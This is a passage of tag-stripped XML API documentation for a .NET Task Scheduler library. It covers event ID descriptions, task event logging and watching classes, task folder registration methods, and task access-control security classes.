the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + An enumerable collection of folders that matches . + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Enumerates the tasks in the specified folder and its child folders. + + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + + Provides information and control for a collection of folders that contain tasks. + + + + + Gets the number of items in the collection. + + + + + Gets a value indicating whether the is read-only. + + + + + Gets the specified folder from the collection. + + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Gets the specified folder from the collection. + + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + + Adds an item to the . + + The object to add to the . + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Releases all resources used by this class. + + + + + Determines whether the specified folder exists. + + The path of the folder. + true if folder exists; otherwise, false. + + + + Gets a list of items in a collection. + + Enumerated list of items in the collection. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration. + + + Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: . + + + Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: . + + + Specifies the right run tasks. This right includes the following rights: . + + + The right to wait on a task. + + + The right to change the owner of a task. + + + Specifies the right to change the security and audit rules associated with a task or folder. + + + The right to open and copy the access rules and audit rules for a task. + + + The right to delete a folder or task. + + + Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules. + + + Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules. + + + Specifies the right to delete a folder and any tasks contained within that folder. + + + Specifies the right to run a task. + + + Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules. + + + Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules. + + + Specifies the right to append data to the end of a file. + + + Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules. + + + Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules. + + + + Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Initializes a new instance of the class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied. + + The name of the user or group the rule applies to. + A bitwise combination of values specifying the rights allowed or denied. + One of the values specifying whether the rights are allowed or denied. + + + + Gets the rights allowed or denied by the access rule. + + + A bitwise combination of values indicating the rights allowed or denied by the access rule. + + + + + Represents a set of access rights to be audited for a user or group. This class cannot be inherited. + + + + + Initializes a new instance of the class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both. + + The user or group the rule applies to. Must be of type or a type such as that can be converted to type . + A bitwise combination of values specifying the kinds of access to audit. + The audit flags. + + + + Gets the access rights affected by the audit rule. + + + A bitwise combination of values that indicates the rights affected by the audit rule. + + objects are immutable. You can create a new audit rule representing a different user, different rights, or a different combination of AuditFlags values, but you cannot modify an existing audit rule. + + + + Represents the Windows access control security for a Task Scheduler task. This class cannot be inherited. + + + A TaskSecurity object specifies access rights for a Task Scheduler task, and also specifies how access attempts are audited. Access rights to the task are expressed as rules, with each access rule represented by a object. Each auditing rule is represented by a object. + This mirrors the underlying Windows security system, in which each securable object has at most one discretionary access control list (DACL) that controls access to the secured object, and at most one system access control list (SACL) that specifies which access attempts are audited. The DACL and SACL are ordered lists of access control entries (ACE) that specify access and auditing for users and groups. A or object might represent more than one ACE. + Note + A object can represent a local task or a Task Scheduler task. Windows access control security is meaningful only for Task Scheduler tasks. + The TaskSecurity, , and classes hide the implementation details of ACLs and ACEs. They allow you to ignore the seventeen different ACE types and the complexity of correctly maintaining inheritance and propagation of access rights. These objects are also designed to prevent the following common access control errors: + + Creating a security descriptor with a null DACL. A null reference to a DACL allows any user to add access rules to an object, potentially creating a denial-of-service attack. A new TaskSecurity object always starts with an empty DACL, which denies all access for all users. + Violating the canonical ordering of ACEs. If the ACE list in the DACL is not kept in the canonical order, users might inadvertently be given access to the secured object. For example, denied access rights must always appear before allowed access rights. TaskSecurity objects maintain the correct order internally. + Manipulating security descriptor flags, which should be under resource manager control only. + Creating invalid combinations of ACE flags. + Manipulating inherited ACEs. Inheritance and propagation are handled by the resource manager, in response to changes you make to access and audit rules. + Inserting meaningless ACEs into ACLs. + + The only capabilities not supported by the .NET security objects are dangerous activities that should be avoided by the majority of application developers, such as the following: + + Low-level tasks that are normally performed by the resource manager. + Adding or removing access control entries in ways that do not maintain the canonical ordering. + + To modify Windows access control security for a task, use the method to get the TaskSecurity object. Modify the security object by adding and removing rules, and then use the method to reattach it. + Important: Changes you make to a TaskSecurity object do not affect the access levels of the task until you call the method to assign the altered security object to the task. + To copy access control security from one task to another, use the method to get a TaskSecurity object representing the access and audit rules for the first task, then use the method, or a constructor that accepts a TaskSecurity object, to assign those rules to the second task. + Users with an investment in the security descriptor definition language (SDDL) can use the method to set access rules for a task, and the method to obtain a string that represents the access rules in SDDL format. This is not recommended for new development. + + + + + Initializes a new instance of the class with default values. + + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The task. + The sections of the ACL to retrieve. + + + + Initializes a new instance of the class with the specified sections of the access control security rules from the specified task. + + The folder. + The sections of the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. 